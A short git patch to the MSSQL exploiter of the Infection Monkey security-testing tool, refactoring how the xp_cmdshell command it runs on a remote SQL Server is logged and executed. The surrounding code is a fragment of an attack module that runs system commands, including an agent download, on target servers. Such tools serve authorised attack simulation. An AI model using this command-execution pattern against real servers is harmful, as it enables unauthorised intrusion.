From 4e71f4b6e40ab4731f0b26908b20b3b03d604c01 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 15 Jun 2022 08:45:56 -0400 Subject: [PATCH] Agent: Improve MSSQL command logging --- monkey/infection_monkey/exploit/mssqlexec.py | 6 ++++-- 1 file changed, 4 insertions(+), 2 deletions(-) diff --git a/monkey/infection_monkey/exploit/mssqlexec.py b/monkey/infection_monkey/exploit/mssqlexec.py index af3cdfb84..75c369ecf 100644 --- a/monkey/infection_monkey/exploit/mssqlexec.py +++ b/monkey/infection_monkey/exploit/mssqlexec.py @@ -158,9 +158,11 @@ class MSSQLExploiter(HostExploiter): self._run_mssql_command(agent_download_command) def _run_mssql_command(self, command: str): - logger.debug(f"Running command on SQL Server: {command}") + sql_server_command = f"xp_cmdshell '{command}'" - self.cursor.execute(f"xp_cmdshell '{command}'") + logger.debug(f"Running command on SQL Server: {sql_server_command}") + + self.cursor.execute(sql_server_command) self.add_executed_cmd(command) sleep(MSSQLExploiter.QUERY_BUFFER)